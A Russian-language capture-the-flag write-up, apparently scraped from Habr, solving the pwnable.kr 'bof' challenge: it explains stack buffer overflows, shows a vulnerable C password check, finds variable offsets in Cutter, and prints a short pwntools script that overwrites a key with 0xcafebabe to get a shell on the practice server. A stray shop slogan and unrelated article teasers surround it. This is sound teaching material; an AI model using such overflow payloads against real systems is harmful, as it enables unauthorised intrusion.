Решение задания с pwnable.kr 03 — bof. Переполнение буфера в стеке

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.
image

В данной статье разберем такой тип уязвимости, как переполнение буфера в стеке, и решим 3-е задание с сайта pwnable.kr.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Переполнение буфера


Переполнение буфера — уязвимость в компьютерных программах, основанная на возможности записи данных за пределами выделенного в памяти буфера, возникающая, как правило, из-за неконтролируемых получения и обработки данных извне. Использование языками высоко уровня технологии стекового кадра ведет к смешиванию управляющих данных и данных программы.

В данной статье разберем только переполнение буфера в стеке. Данный вид переполнения буфера известен как Stack smashing и может эксплуатироваться следующими способами:

  • перезапись локальной переменной, находящейся в памяти рядом с буфером;
  • перезапись адреса возврата в стековом кадре;
  • перезапись указателя на функцию или обработчик исключений;
  • перезапись параметра из другого стекового кадра.

В данном задании применяется метод перезаписи локальной переменной. Рассмотрим его суть на следующем примере:

#include <stdio.h>
#include <string.h>

int main(){
        char pass[9] = "p@ssw0rd\x00";
        char buf[9];
        printf("Input password: ");
        scanf("%s", buf);
        if(!strcmp(pass, buf)) 
                printf("Login ok!!!\n");
        else 
                printf("FAIL...\n");
        return 0;
}

Так как переменная pass определена раньше, переменная buf, то ее возможно переполнить. Если ввести в buf больше, чем 9 байт, то они перепишут данные в переменной pass. Таким образом возможно “изменить” пароль на свой, передав программе, к примеру, такую строку 11111111\x0011111111\x00.

image

image

Решение задания bof


Нажимаем на иконку с подписью bof, и нам предоставляют исходный код, саму программу, а также адрес и порт для TCP-соединения.

image

Давай просмотрим исход код.

image

Из кода следует, что программа принимает строку, но сравнивает уже изначально зашитый ключ с контрольным значением. Но так как ввод не контролируется, а ключ определен раньше нашего буфера, мы можем переполнить буфер и перезаписать ключ. Для этого необходимо определить взаимное расположение переменных в памяти.

Для анализа программы я буду использовать Cutter. Откроем Cutter, укажем путь к исполняемому файлу.

image

image

image

Cutter отправляет нас сразу в точку entry. В списке функций выбираем main.

image

В main видим вызов нашей функции, откроем ее, выполнив двойной клик по названию функции.

image

Перед кодом функции имеется комментарий, где отражаются используемые в функции переменные и их адреса относительно базы текущего кадра стека (ebp). Как можно определить, наш буфер — это переменная var_2ch, а ключ — arg_8h.

image

image

Вычислим, сколько байт нам нужно перезаписать. Для этого достаточно найти разницу между адресами.

image

Таким образом нам нужно послать программе 0x34 любых байта, а потом дописать эталонное значение для примера. Для удобства я использую библиотеку pwntools.

from pwn import *

conn = remote('pwnable.kr', 9000)

payload = 'A' * 0x34
payload += '\xbe\xba\xfe\xca'

conn.send(payload)

conn.interactive()

Получаем шелл и просматриваем флаг.

image

Как результат, получаем свои очки.

image

В данной статье мы рассмотрели пример эксплуатации переполнения буффера в стеке, познакомились с инструментом Cutter и библиотекой pwntools. В следующей статье поговорим об упаковке исполняемых файлов и решим четвертое задание. До встречи в следующих статьях.
Источник: https://habr.com/ru/post/459918/


Интересные статьи

Интересные статьи

Всем привет! В этой статье я бы хотел рассказать как реализовать доступное модальное окно, без использование аттрибута «aria-modal». Читать дальше →
Привет, Хабр! Наверняка вы помните посты о том, как наш ABBYY Recognition Server помогал в оцифровке материалов и каталогов библиотек на Сахалине, в Латвии, Великобритании и в други...
Одна из вещей, которые никогда не делают пользователи — это чтение до конца лицензионных соглашений. Тем временем, читать их стоит, даже если, казалось бы, в контексте конкретного сер...
Каждый лишний элемент на сайте — это кнопка «Не купить», каждая непонятность или трудность, с которой сталкивается клиент — это крестик, закрывающий в браузере вкладку с вашим интернет-магазином.
На сегодняшний день у сервиса «Битрикс24» нет сотен гигабит трафика, нет огромного парка серверов (хотя и существующих, конечно, немало). Но для многих клиентов он является основным инструментом ...